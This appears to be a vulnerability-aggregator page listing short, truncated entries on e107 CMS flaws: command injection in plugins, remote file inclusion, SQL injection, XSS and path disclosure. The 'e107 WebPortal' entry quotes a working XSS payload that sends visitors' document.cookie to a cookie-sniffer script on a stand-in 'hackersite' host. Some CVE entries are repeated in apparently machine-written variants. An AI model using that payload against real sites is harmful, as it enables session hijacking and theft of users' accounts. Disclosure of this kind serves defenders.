CVE-2005-1966

The eTracevalidaddr function in eTrace plugin for e107 portal allows remote attackers to execute arbitrary commands via shell metacharacters after a valid argument to the etracehost parameter...

Arbitrary code execution in eping plugin

www.RedC0de.org found the following error in eping: Details ------- Advisory name: Arbitrary code execution in eping plugin Advisory number: 1 Application: eping Aplication author: apnovi3 Security-Risk: high - very high Remote-Exploit: Yes Discovered by: m00fd1 aka Tr|p Introduction ------------...

e107 ePing Plugin doping.php Arbitrary Code Execution

The installation of e107 on the remote host includes a version of the ePing plugin that is affected by a command execution vulnerability. This plugin fails to sanitize the 'epingcmd', 'epingcount' and/or 'epinghost' parameters of the 'doping.php' script before using them in a system call. An...

e107 WebPortal

Hello, Zaraza Type:CSS in forum/ LINK=http://www.site.ru" onclick=document.location.hef='http://hackersite/cgi-bin/cookiesniffer.cgi?'+document.cookie;target="blanksite.ru/LINK IMGjavascript:alert'HELLO, This CSS attack ;'/IMG -- Best regards, B4D$c0Rp mailto:[email protected] 01.06.2005, 22:49...

e107 search.php search_info Parameter Traversal Arbitrary File Inclusion

The version of e107 installed on the remote host is affected by a remote file inclusion vulnerability because it fails to properly sanitize user-supplied input to the 'searchinfo' parameter of the 'search.php' script. This vulnerability could allow a remote, unauthenticated attacker to view...

CVE-2004-2039

e107 0.615 allows remote attackers to obtain sensitive information via a direct request to 1 altnews.php, 2 backendmenu.php, 3 clockmenu.php, 4 countermenu.php, 5 loginmenu.php, and other files, which reveal the full path in a PHP error message...

CVE-2004-2028

CVE-2004-2028 describes a cross-site scripting (XSS) vulnerability in the PHP component used by the e107 CMS, specifically in the stats.php module. The flaw allows remote attackers to inject arbitrary web script or HTML by manipulating the referer parameter sent to log.php. Affected software is e...

CVE-2004-2040

Multiple cross-site scripting XSS vulnerabilities in e107 0.615 allow remote attackers to inject arbitrary web script or HTML via the 1 LAN407 parameter to clockmenu.php, 2 "email article to a friend" field, 3 "submit news" field, or 4 avmsg parameter to usersettings.php...

CVE-2004-2042

Multiple SQL injection vulnerabilities in e107 0.615 allow remote attackers to inject arbitrary SQL code and gain sensitive information via 1 content parameter to content.php, 2 contentid parameter to content.php, or 3 list parameter to news.php...

CVE-2004-2041

The vulnerability CVE-2004-2041 affects e107 0.615 via a PHP remote file inclusion in secure_img_render.php. An attacker can set the p parameter to a remote URL to cause the server to execute code, enabling arbitrary PHP execution. Impact is partial confidentiality, integrity, and availability ac...

CVE-2004-2040

CVE-2004-2040 describes multiple cross-site scripting (XSS) vulnerabilities in e107 0.615. The vulnerabilities allow remote attackers to inject arbitrary web script or HTML via specific parameters: LAN_407 to clock_menu.php, the email article to a friend field, the submit news field, and avmsg to...

CVE-2003-1191

chatbox.php in e107 0.554 and 0.603 allows remote attackers to cause a denial of service pages fail to load via HTML in the Name field, which prevents the main.php form from being loaded...

CVE-2004-2039

CVE-2004-2039 affects e107 0.615. Remote attackers could trigger direct requests to specific PHP files (alt_news.php, backend_menu.php, clock_menu.php, counter_menu.php, login_menu.php, etc.) and cause PHP error messages that disclose the full server path, enabling information disclosure. The ava...

CVE-2003-1191

Technical details for CVE-2003-1191 are not provided in the connected documents. Public information in the initial description confirms a DoS via HTML in the Name field for e107, but no concrete details beyond that are available here. Monitor for updates.

CVE-2004-2028

Cross-site scripting XSS vulnerability in stats.php in e107 allows remote attackers to inject arbitrary web script or HTML via the referer parameter to log.php...

CVE-2004-2042

CVE-2004-2042: Affected software is e107 0.615. The vulnerability comprises multiple SQL injection flaws in content.php (parameters: content, content_id) and news.php (parameter: list). The underlying issue is improper input handling that allows remote attackers to inject arbitrary SQL and potent...

CVE-2004-2041

PHP remote file inclusion vulnerability in secureimgrender.php in e107 0.615 allows remote attackers to execute arbitrary PHP code by modifying the p parameter to reference a URL on a remote web server that contains the code...

CVE-2004-2031

Cross-site scripting XSS vulnerability in user.php in e107 allows remote attackers to inject arbitrary web script or HTML via the 1 URL, 2 MSN, or 3 AIM fields...

CVE-2004-2031

The CVE-2004-2031 entry concerns the e107 CMS: a Cross-site Scripting (XSS) vulnerability in the file user.php that allows remote attackers to inject arbitrary web script or HTML via the (1) URL, (2) MSN, or (3) AIM fields. The recorded impact is partial integrity compromise with no confidentiali...

e107 Website System 0.617 - Request.php Directory Traversal

e107 Website System 0.617 - Request.php Directory Traversal source: https://www.securityfocus.com/bid/13573/info e107 Website System is prone to a directory traversal vulnerability. This issue could be exploited to obtain the contents of arbitrary files on the vulnerable computer...